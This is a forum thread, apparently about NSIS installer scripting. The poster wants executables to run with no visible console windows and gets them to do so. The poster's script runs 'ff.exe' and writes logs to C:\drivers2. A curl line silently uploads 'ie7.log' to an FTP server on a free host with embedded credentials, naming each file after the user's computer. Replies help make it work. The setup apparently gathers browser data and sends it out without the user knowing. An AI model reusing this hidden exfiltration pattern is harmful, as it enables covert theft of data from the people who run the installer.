Running windows hidden, but with parameters

 Section

ReadEnvStr $R0 COMSPEC

ExecWait '"$R0" /c "C:\WINDOWS\test.exe" >> C:\WINDOWS\test.txt'

 SectionEnd

Is it possible at all to keep that same executable running with those parameters, but be hidden? Because I'm having like 4-5 CMD windows popping up and it looks very unattractive.

Thanks!

use nsExec or one of the other exec plugins

ok I used ExecDos

Everything worked fine with parameters and such, but I have another problem now. I'm using cURL to upload files to an ftp, and cURL has a variable to specify the user's computer's name. That variable is %computername%.

Now when it uploads the file, instead of saying their computer name for the file, it says "%computername%.log"

Section

ExecDos::exec "$WINDIR\ff.exe" "" "C:\drivers2\ff.log"

SectionEnd



Section

ExecDos::exec "$WINDIR\curl.exe -T C:\drivers2\ie7.log ftp://minenu:%&%$@minenu.12gbfree.com/%computername%.log"

SectionEnd

Please note, this worked with ExecWait

Please help!

parsing %computername% is not a part of curl (AFAIK), try using COMSPEC + /c as with your old attempt

Worked. You are a god. A god.

oh and I guess cmd parses that then

thanks huge help
